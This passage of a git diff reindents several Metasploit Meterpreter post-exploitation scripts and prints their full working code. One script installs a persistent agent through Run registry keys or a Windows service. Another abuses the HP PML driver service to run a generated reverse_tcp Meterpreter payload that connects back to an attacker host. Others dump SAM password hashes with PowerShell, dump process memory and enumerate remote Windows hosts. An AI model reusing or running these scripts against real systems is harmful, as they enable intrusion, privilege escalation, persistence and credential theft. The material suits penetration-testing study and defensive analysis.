+ mul.datastore['WORKSPACE'] = @client.workspace + mul.datastore['PAYLOAD'] = selected_payload + mul.datastore['LHOST'] = rhost + mul.datastore['LPORT'] = rport + mul.datastore['EXITFUNC'] = 'process' + mul.datastore['ExitOnSession'] = false + + mul.exploit_simple( + 'Payload' => mul.datastore['PAYLOAD'], + 'RunAsJob' => true + ) + print_good("Multi/Handler started!") end # Function to execute script on target and return the PID of the process #------------------------------------------------------------------------------- def targets_exec(script_on_target) - print_status("Executing script #{script_on_target}") - proc = session.sys.process.execute("cscript \"#{script_on_target}\"", nil, {'Hidden' => true}) - print_good("Agent executed with PID #{proc.pid}") - file_local_write(@clean_up_rc, "kill #{proc.pid}\n") - return proc.pid + print_status("Executing script #{script_on_target}") + proc = session.sys.process.execute("cscript \"#{script_on_target}\"", nil, {'Hidden' => true}) + print_good("Agent executed with PID #{proc.pid}") + file_local_write(@clean_up_rc, "kill #{proc.pid}\n") + return proc.pid end # Function to insytall payload in to the registry HKLM or HKCU #------------------------------------------------------------------------------- def write_to_reg(key,script_on_target) - nam = Rex::Text.rand_text_alpha(rand(8)+8) - print_status("Installing into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}") - if(key) - registry_setvaldata("#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",nam,script_on_target,"REG_SZ") - print_good("Installed into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}") - file_local_write(@clean_up_rc, "reg deleteval -k '#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -v #{nam}\n") - else - print_error("Error: failed to open the registry key for writing") - end + nam = Rex::Text.rand_text_alpha(rand(8)+8) + print_status("Installing into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}") + if(key) + registry_setvaldata("#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",nam,script_on_target,"REG_SZ") + print_good("Installed into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}") + file_local_write(@clean_up_rc, "reg deleteval -k '#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -v #{nam}\n") + else + print_error("Error: failed to open the registry key for writing") + end end # Function to install payload as a service #------------------------------------------------------------------------------- def install_as_service(script_on_target) - if not is_uac_enabled? or is_admin? - print_status("Installing as service..") - nam = Rex::Text.rand_text_alpha(rand(8)+8) - print_status("Creating service #{nam}") - service_create(nam, nam, "cscript \"#{script_on_target}\"") - file_local_write(@clean_up_rc, "execute -H -f sc -a \"delete #{nam}\"\n") - else - print_error("Insufficient privileges to create service") - end + if not is_uac_enabled? or is_admin? + print_status("Installing as service..") + nam = Rex::Text.rand_text_alpha(rand(8)+8) + print_status("Creating service #{nam}") + service_create(nam, nam, "cscript \"#{script_on_target}\"") + file_local_write(@clean_up_rc, "execute -H -f sc -a \"delete #{nam}\"\n") + else + print_error("Insufficient privileges to create service") + end end ################## Main ################## @exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - usage - when "-r" - rhost = val - when "-p" - rport = val.to_i - when "-i" - delay = val.to_i - when "-X" - install = true - key = "HKLM" - when "-S" - serv = true - when "-U" - install = true - key = "HKCU" - when "-A" - autoconn = true - when "-L" - target_dir = val - when "-T" - altexe = val - when "-P" - payload_type = val - end + case opt + when "-h" + usage + when "-r" + rhost = val + when "-p" + rport = val.to_i + when "-i" + delay = val.to_i + when "-X" + install = true + key = "HKLM" + when "-S" + serv = true + when "-U" + install = true + key = "HKCU" + when "-A" + autoconn = true + when "-L" + target_dir = val + when "-T" + altexe = val + when "-P" + payload_type = val + end } # Check for Version of Meterpreter @@ -217,7 +217,7 @@ def install_as_service(script_on_target) # Start Multi/Handler if autoconn - set_handler(payload_type,rhost,rport) + set_handler(payload_type,rhost,rport) end # Execute on target host @@ -225,11 +225,11 @@ def install_as_service(script_on_target) # Install in registry if install - write_to_reg(key,script_on_target) + write_to_reg(key,script_on_target) end # Install as a service if serv - install_as_service(script_on_target) + install_as_service(script_on_target) end diff --git a/scripts/meterpreter/pml_driver_config.rb b/scripts/meterpreter/pml_driver_config.rb index 801c7f9b571d..625c16aed1b2 100644 --- a/scripts/meterpreter/pml_driver_config.rb +++ b/scripts/meterpreter/pml_driver_config.rb @@ -22,9 +22,9 @@ # Options # @exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "This help menu" ], - "-r" => [ true, "The IP of the system running Metasploit listening for the connect back" ], - "-p" => [ true, "The port on the remote host where Metasploit is listening" ] + "-h" => [ false, "This help menu" ], + "-r" => [ true, "The IP of the system running Metasploit listening for the connect back" ], + "-p" => [ true, "The port on the remote host where Metasploit is listening" ] ) # @@ -34,75 +34,75 @@ rport = nil def usage - print_status("HP PML Driver HPZ12 SERVICE_CHANGE_CONFIG privilege escalation.") - print_line(@exec_opts.usage) - raise Rex::Script::Completed + print_status("HP PML Driver HPZ12 SERVICE_CHANGE_CONFIG privilege escalation.") + print_line(@exec_opts.usage) + raise Rex::Script::Completed end # # Option parsing # opts.parse(args) do |opt, idx, val| - case opt - when "-r" - rhost = val - when "-p" - rport = val.to_i - else - usage - end + case opt + when "-r" + rhost = val + when "-p" + rport = val.to_i + else + usage + end end if rhost.nil? or rport.nil? - usage + usage if client.platform =~ /win32|win64/ - client.sys.process.get_processes().each do |m| - if ( m['name'] =~ /HPZipm12\.exe/ ) + client.sys.process.get_processes().each do |m| + if ( m['name'] =~ /HPZipm12\.exe/ ) - print_status("Found vulnerable process #{m['name']} with pid #{m['pid']}.") + print_status("Found vulnerable process #{m['name']} with pid #{m['pid']}.") - # Build out the exe payload. - pay = client.framework.payloads.create("windows/meterpreter/reverse_tcp") - pay.datastore['LHOST'] = rhost - pay.datastore['LPORT'] = rport - raw = pay.generate + # Build out the exe payload. + pay = client.framework.payloads.create("windows/meterpreter/reverse_tcp") + pay.datastore['LHOST'] = rhost + pay.datastore['LPORT'] = rport + raw = pay.generate - exe = Msf::Util::EXE.to_win32pe(client.framework, raw) + exe = Msf::Util::EXE.to_win32pe(client.framework, raw) - # Place our newly created exe in %TEMP% - tempdir = client.fs.file.expand_path("%TEMP%") - tempexe = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" - print_status("Sending EXE payload '#{tempexe}'.") - fd = client.fs.file.new(tempexe, "wb") - fd.write(exe) - fd.close + # Place our newly created exe in %TEMP% + tempdir = client.fs.file.expand_path("%TEMP%") + tempexe = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" + print_status("Sending EXE payload '#{tempexe}'.") + fd = client.fs.file.new(tempexe, "wb") + fd.write(exe) + fd.close - print_status("Stopping service \"Pml Driver HPZ12\"...") - client.sys.process.execute("cmd.exe /c sc stop \"Pml Driver HPZ12\" ", nil, {'Hidden' => 'true'}) + print_status("Stopping service \"Pml Driver HPZ12\"...") + client.sys.process.execute("cmd.exe /c sc stop \"Pml Driver HPZ12\" ", nil, {'Hidden' => 'true'}) - print_status("Setting Pml Driver to #{tempexe}...") - client.sys.process.execute("cmd.exe /c sc config \"Pml Driver HPZ12\" binpath= #{tempexe}", nil, {'Hidden' => 'true'}) - sleep(1) - print_status("Restarting the \"Pml Driver HPZ12\" service...") - client.sys.process.execute("cmd.exe /c sc start \"Pml Driver HPZ12\" ", nil, {'Hidden' => 'true'}) + print_status("Setting Pml Driver to #{tempexe}...") + client.sys.process.execute("cmd.exe /c sc config \"Pml Driver HPZ12\" binpath= #{tempexe}", nil, {'Hidden' => 'true'}) + sleep(1) + print_status("Restarting the \"Pml Driver HPZ12\" service...") + client.sys.process.execute("cmd.exe /c sc start \"Pml Driver HPZ12\" ", nil, {'Hidden' => 'true'}) - # Our handler to recieve the callback. - handler = client.framework.exploits.create("multi/handler") - handler.datastore['WORKSPACE'] = client.workspace - handler.datastore['PAYLOAD'] = "windows/meterpreter/reverse_tcp" - handler.datastore['LHOST'] = rhost - handler.datastore['LPORT'] = rport - handler.datastore['ExitOnSession'] = false + # Our handler to recieve the callback. + handler = client.framework.exploits.create("multi/handler") + handler.datastore['WORKSPACE'] = client.workspace + handler.datastore['PAYLOAD'] = "windows/meterpreter/reverse_tcp" + handler.datastore['LHOST'] = rhost + handler.datastore['LPORT'] = rport + handler.datastore['ExitOnSession'] = false - handler.exploit_simple( - 'Payload' => handler.datastore['PAYLOAD'], - 'RunAsJob' => true - ) + handler.exploit_simple( + 'Payload' => handler.datastore['PAYLOAD'], + 'RunAsJob' => true + ) - client.sys.process.execute("cmd.exe /c sc config \"Pml Driver HPZ12\" binpath= %SystemRoot%\\system32\\HPZipm12.exe", nil, {'Hidden' => 'true'}) - end - end + client.sys.process.execute("cmd.exe /c sc config \"Pml Driver HPZ12\" binpath= %SystemRoot%\\system32\\HPZipm12.exe", nil, {'Hidden' => 'true'}) + end + end else - print_error("This version of Meterpreter is not supported with this script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/powerdump.rb b/scripts/meterpreter/powerdump.rb index e46d54246661..38d0224825a5 100644 --- a/scripts/meterpreter/powerdump.rb +++ b/scripts/meterpreter/powerdump.rb @@ -12,15 +12,15 @@ session = client @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ] + "-h" => [ false, "Help menu." ] ) def usage - print_line("PowerDump -- Dumping the SAM database through PowerShell") - print_line("Dump username and password hashes on systems that have") - print_line("PowerShell installed on the system. Win7 and 2008 tested.") - print(@@exec_opts.usage) - raise Rex::Script::Completed + print_line("PowerDump -- Dumping the SAM database through PowerShell") + print_line("Dump username and password hashes on systems that have") + print_line("PowerShell installed on the system. Win7 and 2008 tested.") + print(@@exec_opts.usage) + raise Rex::Script::Completed end #------------------------------------------------------------------------------- @@ -28,34 +28,34 @@ def usage def dumphash(session) - path = File.join( Msf::Config.install_root, "data", "exploits", "powershell" ) + path = File.join( Msf::Config.install_root, "data", "exploits", "powershell" ) - print_status("Running PowerDump to extract Username and Password Hashes...") - filename=("#{rand(100000)}.ps1") - hash_dump=("#{rand(100000)}") - session.fs.file.upload_file("%TEMP%\\#{filename}","#{path}/powerdump.ps1") - print_status("Uploaded PowerDump as #{filename} to %TEMP%...") - opmode = "" - print_status("Setting ExecutionPolicy to Unrestricted...") - session.sys.process.execute("powershell Set-ExecutionPolicy Unrestricted", nil, {'Hidden' => 'true', 'Channelized' => true}) - print_status("Dumping the SAM database through PowerShell...") - session.sys.process.execute("powershell C:\\Windows\\Temp\\#{filename} >> C:\\Windows\\Temp\\#{hash_dump}", nil, {'Hidden' => 'true', 'Channelized' => true}) - sleep(10) - hashes=session.fs.file.new("%TEMP%\\#{hash_dump}", "rb") - begin - while ((data = hashes.read) != nil) - data=data.strip - print_line(data) - end - rescue EOFError - ensure - hashes.close - end - print_status("Setting Execution policy back to Restricted...") - session.sys.process.execute("powershell Set-ExecutionPolicy Unrestricted", nil, {'Hidden' => 'true', 'Channelized' => true}) - print_status("Cleaning up after ourselves...") - session.sys.process.execute("cmd /c del %TEMP%\\#{filename}", nil, {'Hidden' => 'true', 'Channelized' => true}) - session.sys.process.execute("cmd /c del %TEMP%\\#{hash_dump}", nil, {'Hidden' => 'true', 'Channelized' => true}) + print_status("Running PowerDump to extract Username and Password Hashes...") + filename=("#{rand(100000)}.ps1") + hash_dump=("#{rand(100000)}") + session.fs.file.upload_file("%TEMP%\\#{filename}","#{path}/powerdump.ps1") + print_status("Uploaded PowerDump as #{filename} to %TEMP%...") + opmode = "" + print_status("Setting ExecutionPolicy to Unrestricted...") + session.sys.process.execute("powershell Set-ExecutionPolicy Unrestricted", nil, {'Hidden' => 'true', 'Channelized' => true}) + print_status("Dumping the SAM database through PowerShell...") + session.sys.process.execute("powershell C:\\Windows\\Temp\\#{filename} >> C:\\Windows\\Temp\\#{hash_dump}", nil, {'Hidden' => 'true', 'Channelized' => true}) + sleep(10) + hashes=session.fs.file.new("%TEMP%\\#{hash_dump}", "rb") + begin + while ((data = hashes.read) != nil) + data=data.strip + print_line(data) + end + rescue EOFError + ensure + hashes.close + end + print_status("Setting Execution policy back to Restricted...") + session.sys.process.execute("powershell Set-ExecutionPolicy Unrestricted", nil, {'Hidden' => 'true', 'Channelized' => true}) + print_status("Cleaning up after ourselves...") + session.sys.process.execute("cmd /c del %TEMP%\\#{filename}", nil, {'Hidden' => 'true', 'Channelized' => true}) + session.sys.process.execute("cmd /c del %TEMP%\\#{hash_dump}", nil, {'Hidden' => 'true', 'Channelized' => true}) end print_status("PowerDump v0.1 - PowerDump to extract Username and Password Hashes...") diff --git a/scripts/meterpreter/prefetchtool.rb b/scripts/meterpreter/prefetchtool.rb index d299868ebc2e..64eaaecec225 100644 --- a/scripts/meterpreter/prefetchtool.rb +++ b/scripts/meterpreter/prefetchtool.rb @@ -11,105 +11,105 @@ # Script Options @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu."], - "-p" => [ false, "List Installed Programs"], - "-c" => [ false, "Disable SHA1/MD5 checksum"], - "-x" => [ true, "Top x Accessed Executables (Based on Prefetch folder)"], - "-i" => [ false, "Perform lookup for software name"], - "-l" => [ false, "Download Prefetch Folder Analysis Log"] + "-h" => [ false, "Help menu."], + "-p" => [ false, "List Installed Programs"], + "-c" => [ false, "Disable SHA1/MD5 checksum"], + "-x" => [ true, "Top x Accessed Executables (Based on Prefetch folder)"], + "-i" => [ false, "Perform lookup for software name"], + "-l" => [ false, "Download Prefetch Folder Analysis Log"] ) @tempdir = @session.fs.file.expand_path("%TEMP%") #--------------------------------------------------------------------------------------------------------- def read_program_list - key = @session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', KEY_READ) - sfmsvals = key.enum_key - sfmsvals.each do |test1| - begin - key2 = "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\"+test1 - root_key2, base_key2 = @session.sys.registry.splitkey(key2) - value1 = "DisplayName" - value2 = "DisplayVersion" - open_key = @session.sys.registry.open_key(root_key2, base_key2, KEY_READ) - v1 = open_key.query_value(value1) - v2 = open_key.query_value(value2) - print_status("#{v1.data}\t(Version: #{v2.data})") - rescue - end - end + key = @session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', KEY_READ) + sfmsvals = key.enum_key + sfmsvals.each do |test1| + begin + key2 = "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\"+test1 + root_key2, base_key2 = @session.sys.registry.splitkey(key2) + value1 = "DisplayName" + value2 = "DisplayVersion" + open_key = @session.sys.registry.open_key(root_key2, base_key2, KEY_READ) + v1 = open_key.query_value(value1) + v2 = open_key.query_value(value2) + print_status("#{v1.data}\t(Version: #{v2.data})") + rescue + end + end end def prefetch_dump(options, logging=false) - lexe = File.join(Msf::Config.data_directory, "prefetch.exe") - rexe = sprintf("%.5d",rand(100000)) + ".exe" - rlog = sprintf("%.5d",rand(100000)) + ".txt" - - print_status("Uploading Prefetch-tool for analyzing Prefetch folder...") - begin - @session.fs.file.upload_file("#{@tempdir}\\#{rexe}", lexe) - print_status("Prefetch-tool uploaded as #{@tempdir}\\#{rexe}") - rescue ::Interrupt; raise $! - rescue ::Exception => e - print_status("The following error was encountered: #{e.class} #{e}") - return - end - - begin - - if(logging) - options += " --txt=#{@tempdir}\\#{rlog}" - end - - r = @session.sys.process.execute("cmd.exe /c #{@tempdir}\\#{rexe} #{options} #{rlog}", nil, {'Hidden' => 'true','Channelized' => true}) - while(d = r.channel.read) - d.split("\n").each do |out| - print_status("OUT> #{out.strip}") - end - end - - found = true - while (not found) - found = false - @session.sys.process.get_processes().each do |x| - found = false - if (x['name'].downcase == rexe) - found = true - end - end - sleep(0.5) if found - end - - r.channel.close - r.close - - print_status("Deleting #{rexe} from target...") - @session.sys.process.execute("cmd.exe /c del #{@tempdir}\\#{rexe}", nil, {'Hidden' => 'true'}) - - print_status("Clearing prefetch-tool prefetch entry ...") - @session.sys.process.execute("cmd.exe /c del %windir%\\prefetch\\#{rexe.gsub('.exe','')}*.pf", nil, {'Hidden' => 'true'}) - - if(logging) - logfile = ::File.join(Msf::Config.config_directory, 'logs', 'prefetch', @host + "-" + ::Time.now.strftime("%Y%m%d.%M%S") + ".log") - print_status("[*] Saving prefetch logs to #{logfile}...") - @session.fs.file.download_file(logfile, "#{@tempdir}\\#{rlog}") - print_status("[*] Deleting log file from target...") - @session.sys.process.execute("cmd.exe /c del #{@tempdir}\\#{rlog}", nil, {'Hidden' => 'true'}) - end - - rescue ::Interrupt; raise $! - rescue ::Exception => e - print_status("The following error was encountered: #{e.class} #{e}") - return - end + lexe = File.join(Msf::Config.data_directory, "prefetch.exe") + rexe = sprintf("%.5d",rand(100000)) + ".exe" + rlog = sprintf("%.5d",rand(100000)) + ".txt" + + print_status("Uploading Prefetch-tool for analyzing Prefetch folder...") + begin + @session.fs.file.upload_file("#{@tempdir}\\#{rexe}", lexe) + print_status("Prefetch-tool uploaded as #{@tempdir}\\#{rexe}") + rescue ::Interrupt; raise $! + rescue ::Exception => e + print_status("The following error was encountered: #{e.class} #{e}") + return + end + + begin + + if(logging) + options += " --txt=#{@tempdir}\\#{rlog}" + end + + r = @session.sys.process.execute("cmd.exe /c #{@tempdir}\\#{rexe} #{options} #{rlog}", nil, {'Hidden' => 'true','Channelized' => true}) + while(d = r.channel.read) + d.split("\n").each do |out| + print_status("OUT> #{out.strip}") + end + end + + found = true + while (not found) + found = false + @session.sys.process.get_processes().each do |x| + found = false + if (x['name'].downcase == rexe) + found = true + end + end + sleep(0.5) if found + end + + r.channel.close + r.close + + print_status("Deleting #{rexe} from target...") + @session.sys.process.execute("cmd.exe /c del #{@tempdir}\\#{rexe}", nil, {'Hidden' => 'true'}) + + print_status("Clearing prefetch-tool prefetch entry ...") + @session.sys.process.execute("cmd.exe /c del %windir%\\prefetch\\#{rexe.gsub('.exe','')}*.pf", nil, {'Hidden' => 'true'}) + + if(logging) + logfile = ::File.join(Msf::Config.config_directory, 'logs', 'prefetch', @host + "-" + ::Time.now.strftime("%Y%m%d.%M%S") + ".log") + print_status("[*] Saving prefetch logs to #{logfile}...") + @session.fs.file.download_file(logfile, "#{@tempdir}\\#{rlog}") + print_status("[*] Deleting log file from target...") + @session.sys.process.execute("cmd.exe /c del #{@tempdir}\\#{rlog}", nil, {'Hidden' => 'true'}) + end + + rescue ::Interrupt; raise $! + rescue ::Exception => e + print_status("The following error was encountered: #{e.class} #{e}") + return + end end #check for proper Meterpreter Platform def unsupported - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end @@ -122,64 +122,64 @@ def unsupported check_update = false @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-x" - options += " --x=" + val - when "-c" - options += " --disable-md5 --disable-sha1" - when "-p" - view_list = true - when "-i" - options += " --inet-lookup" - when "-l" - logging = true - when "-h" - print_status( "Prefetch-tool Meterpreter Script") - print_line(@@exec_opts.usage) - raise Rex::Script::Completed - end + case opt + when "-x" + options += " --x=" + val + when "-c" + options += " --disable-md5 --disable-sha1" + when "-p" + view_list = true + when "-i" + options += " --inet-lookup" + when "-l" + logging = true + when "-h" + print_status( "Prefetch-tool Meterpreter Script") + print_line(@@exec_opts.usage) + raise Rex::Script::Completed + end } unsupported if client.platform !~ /win32|win64/i prefetch_local = ::File.join(Msf::Config.data_directory, "prefetch.exe") if !(::File.exist?(prefetch_local)) - print_status("No local copy of prefetch.exe, downloading from the internet...") - Net::HTTP.start("prefetch-tool.googlecode.com") do |http| - req = Net::HTTP::Get.new("/files/prefetch.exe") - resp = http.request(req) - ::File.open(::File.join(Msf::Config.data_directory, "prefetch.exe"), "wb") do |fd| - fd.write(resp.body) - end - end - print_status("Downloaded prefetch.exe to #{prefetch_local}") + print_status("No local copy of prefetch.exe, downloading from the internet...") + Net::HTTP.start("prefetch-tool.googlecode.com") do |http| + req = Net::HTTP::Get.new("/files/prefetch.exe") + resp = http.request(req) + ::File.open(::File.join(Msf::Config.data_directory, "prefetch.exe"), "wb") do |fd| + fd.write(resp.body) + end + end + print_status("Downloaded prefetch.exe to #{prefetch_local}") else - print_status("Checking for an updated copy of prefetch.exe..") - digest = Digest::SHA1.hexdigest(::File.read(prefetch_local, ::File.size(prefetch_local))) - - Net::HTTP.start("code.google.com") do |http| - req = Net::HTTP::Get.new("/p/prefetch-tool/downloads/detail?name=prefetch.exe&can=2&q=") - resp = http.request(req) - body = resp.body - chksum = body.scan(/SHA1 Checksum: <\/th>.* /,'') - chksum.sub!(/ .* /,'') + chksum.sub!(/ [ false, "Help menu." ], - "-p" => [ true, "PID of process to dump."], - "-n" => [ true, "Name of process to dump."], - "-r" => [ true, "Text file wih list of process names to dump memory for, one per line."], - "-t" => [ false, "toggle location information in dump."], - "-q" => [false, "Query the size of the Process that would be dump in bytes."] + "-h" => [ false, "Help menu." ], + "-p" => [ true, "PID of process to dump."], + "-n" => [ true, "Name of process to dump."], + "-r" => [ true, "Text file wih list of process names to dump memory for, one per line."], + "-t" => [ false, "toggle location information in dump."], + "-q" => [false, "Query the size of the Process that would be dump in bytes."] ) def usage - print_line("") - print_line("USAGE:") - print_line("EXAMPLE: run process_memdump putty.exe") - print_line("EXAMPLE: run process_memdump -p 1234") - print_line(@exec_opts.usage) - raise Rex::Script::Completed + print_line("") + print_line("USAGE:") + print_line("EXAMPLE: run process_memdump putty.exe") + print_line("EXAMPLE: run process_memdump -p 1234") + print_line(@exec_opts.usage) + raise Rex::Script::Completed end @exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - usage - when "-p" - pid = val - when "-n" - name = val - when "-t" - toggle = true - when "-q" - query = true - when "-r" - list = val - resource = "" - if not ::File.exists?(list) - raise "Command List File does not exists!" - else - ::File.open(list, "r").each_line do |line| - resource << line - end - end - end + case opt + when "-h" + usage + when "-p" + pid = val + when "-n" + name = val + when "-t" + toggle = true + when "-q" + query = true + when "-r" + list = val + resource = "" + if not ::File.exists?(list) + raise "Command List File does not exists!" + else + ::File.open(list, "r").each_line do |line| + resource << line + end + end + end } # Function for finding the name of a process given it's PID def find_procname(pid) - name = nil - @client.sys.process.get_processes.each do |proc| - if proc['pid'] == pid.to_i - name = proc['name'] - end - end - return name + name = nil + @client.sys.process.get_processes.each do |proc| + if proc['pid'] == pid.to_i + name = proc['name'] + end + end + return name end # Find all PID's for a given process name def find_pids(name) - proc_pid = [] - @client.sys.process.get_processes.each do |proc| - if proc['name'].downcase == name.downcase - proc_pid << proc['pid'] - end - end - return proc_pid + proc_pid = [] + @client.sys.process.get_processes.each do |proc| + if proc['name'].downcase == name.downcase + proc_pid << proc['pid'] + end + end + return proc_pid end # Dumps the memory for a given PID def dump_mem(pid,name, toggle) - host,port = @client.session_host, session.session_port - # Create Filename info to be appended to created files - filenameinfo = "_#{name}_#{pid}_" + ::Time.now.strftime("%Y%m%d.%M%S") - # Create a directory for the logs - logs = ::File.join(Msf::Config.log_directory, 'scripts', 'proc_memdump') - # Create the log directory - ::FileUtils.mkdir_p(logs) - #Dump file name - dumpfile = logs + ::File::Separator + host + filenameinfo + ".dmp" - print_status("\tDumping Memory of #{name} with PID: #{pid.to_s}") - begin - dump_process = @client.sys.process.open(pid.to_i, PROCESS_READ) - rescue - print_error("Could not open process for reading memory!") - raise Rex::Script::Completed - end - # MaximumApplicationAddress for 32bit or close enough - maximumapplicationaddress = 2147418111 - base_size = 0 - while base_size < maximumapplicationaddress - mbi = dump_process.memory.query(base_size) - # Check if Allocated - if mbi["Available"].to_s == "false" - file_local_write(dumpfile,mbi.inspect) if toggle - file_local_write(dumpfile,dump_process.memory.read(mbi["BaseAddress"],mbi["RegionSize"])) - print_status("\tbase size = #{base_size/1024}") - end - base_size += mbi["RegionSize"] - end - print_status("Saving Dumped Memory to #{dumpfile}") + host,port = @client.session_host, session.session_port + # Create Filename info to be appended to created files + filenameinfo = "_#{name}_#{pid}_" + ::Time.now.strftime("%Y%m%d.%M%S") + # Create a directory for the logs + logs = ::File.join(Msf::Config.log_directory, 'scripts', 'proc_memdump') + # Create the log directory + ::FileUtils.mkdir_p(logs) + #Dump file name + dumpfile = logs + ::File::Separator + host + filenameinfo + ".dmp" + print_status("\tDumping Memory of #{name} with PID: #{pid.to_s}") + begin + dump_process = @client.sys.process.open(pid.to_i, PROCESS_READ) + rescue + print_error("Could not open process for reading memory!") + raise Rex::Script::Completed + end + # MaximumApplicationAddress for 32bit or close enough + maximumapplicationaddress = 2147418111 + base_size = 0 + while base_size < maximumapplicationaddress + mbi = dump_process.memory.query(base_size) + # Check if Allocated + if mbi["Available"].to_s == "false" + file_local_write(dumpfile,mbi.inspect) if toggle + file_local_write(dumpfile,dump_process.memory.read(mbi["BaseAddress"],mbi["RegionSize"])) + print_status("\tbase size = #{base_size/1024}") + end + base_size += mbi["RegionSize"] + end + print_status("Saving Dumped Memory to #{dumpfile}") end # Function to query process Size def get_mem_usage( pid ) - p = @client.sys.process.open( pid.to_i, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ ) - if( p ) - begin + p = @client.sys.process.open( pid.to_i, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ ) + if( p ) + begin - if( not @client.railgun.get_dll( 'psapi' ) ) - @client.railgun.add_dll( 'psapi' ) - end + if( not @client.railgun.get_dll( 'psapi' ) ) + @client.railgun.add_dll( 'psapi' ) + end - # http://msdn.microsoft.com/en-us/library/ms683219%28v=VS.85%29.aspx - if( not @client.railgun.psapi.functions['GetProcessMemoryInfo'] ) - @client.railgun.psapi.add_function( 'GetProcessMemoryInfo', 'BOOL', [ - [ "HANDLE", "hProcess", "in" ], - [ "PBLOB", "ProcessMemoryCounters", "out" ], - [ "DWORD", "Size", "in" ] - ] - ) - end + # http://msdn.microsoft.com/en-us/library/ms683219%28v=VS.85%29.aspx + if( not @client.railgun.psapi.functions['GetProcessMemoryInfo'] ) + @client.railgun.psapi.add_function( 'GetProcessMemoryInfo', 'BOOL', [ + [ "HANDLE", "hProcess", "in" ], + [ "PBLOB", "ProcessMemoryCounters", "out" ], + [ "DWORD", "Size", "in" ] + ] + ) + end - r = @client.railgun.psapi.GetProcessMemoryInfo( p.handle, 72, 72 ) - if( r['return'] ) - pmc = r['ProcessMemoryCounters'] - # unpack the PROCESS_MEMORY_COUNTERS structure (http://msdn.microsoft.com/en-us/library/ms684877%28v=VS.85%29.aspx) - # Note: As we get the raw structure back from railgun we need to account - # for SIZE_T variables being 32bit on x86 and 64bit on x64 - mem = nil - if( @client.platform =~ /win32/ ) - mem = pmc[12..15].unpack('V').first - elsif( @client.platform =~ /win64/ ) - mem = pmc[16..23].unpack('Q').first - end - return (mem/1024) - end - rescue - p "Exception - #{$!}" - end + r = @client.railgun.psapi.GetProcessMemoryInfo( p.handle, 72, 72 ) + if( r['return'] ) + pmc = r['ProcessMemoryCounters'] + # unpack the PROCESS_MEMORY_COUNTERS structure (http://msdn.microsoft.com/en-us/library/ms684877%28v=VS.85%29.aspx) + # Note: As we get the raw structure back from railgun we need to account + # for SIZE_T variables being 32bit on x86 and 64bit on x64 + mem = nil + if( @client.platform =~ /win32/ ) + mem = pmc[12..15].unpack('V').first + elsif( @client.platform =~ /win64/ ) + mem = pmc[16..23].unpack('Q').first + end + return (mem/1024) + end + rescue + p "Exception - #{$!}" + end - p.close - end + p.close + end - return nil + return nil end # Main if client.platform =~ /win32|win64/ - if resource - resource.each do |r| - next if r.strip.length < 1 - next if r[0,1] == "#" - print_status("Dumping memory for #{r.chomp}") if not query - pids = find_pids(r.chomp) - if pids.length == 0 - print_status("\tProcess #{r.chomp} not found!") - next - end - pids.each do |p| - print_status("\tsize for #{r.chomp} in PID #{p} is #{get_mem_usage(p)}K") if query - dump_mem(p,r.chomp,toggle) if not query - end - end - elsif pid - name = find_procname(pid) - print_status("\tsize for #{name} in PID #{pid} is #{get_mem_usage(p)}K") if query - print_status("Dumping memory for #{name}") if not query - dump_mem(pid,name,toggle) if not query - elsif name - print_status("Dumping memory for #{name}") if not query - find_pids(name).each do |p| - print_status("\tsize for #{name} in PID #{p} is #{get_mem_usage(p)}K") if query - dump_mem(p,name,toggle) if not query - end - else - usage - end + if resource + resource.each do |r| + next if r.strip.length < 1 + next if r[0,1] == "#" + print_status("Dumping memory for #{r.chomp}") if not query + pids = find_pids(r.chomp) + if pids.length == 0 + print_status("\tProcess #{r.chomp} not found!") + next + end + pids.each do |p| + print_status("\tsize for #{r.chomp} in PID #{p} is #{get_mem_usage(p)}K") if query + dump_mem(p,r.chomp,toggle) if not query + end + end + elsif pid + name = find_procname(pid) + print_status("\tsize for #{name} in PID #{pid} is #{get_mem_usage(p)}K") if query + print_status("Dumping memory for #{name}") if not query + dump_mem(pid,name,toggle) if not query + elsif name + print_status("Dumping memory for #{name}") if not query + find_pids(name).each do |p| + print_status("\tsize for #{name} in PID #{p} is #{get_mem_usage(p)}K") if query + dump_mem(p,name,toggle) if not query + end + else + usage + end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/remotewinenum.rb b/scripts/meterpreter/remotewinenum.rb index 873d989682a7..390ee6b99a3e 100644 --- a/scripts/meterpreter/remotewinenum.rb +++ b/scripts/meterpreter/remotewinenum.rb @@ -9,10 +9,10 @@ trg = "" # Script Options @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu."], - "-t" => [ true, "The target address"], - "-u" => [ true, "User on the target system (If not provided it will use credential of 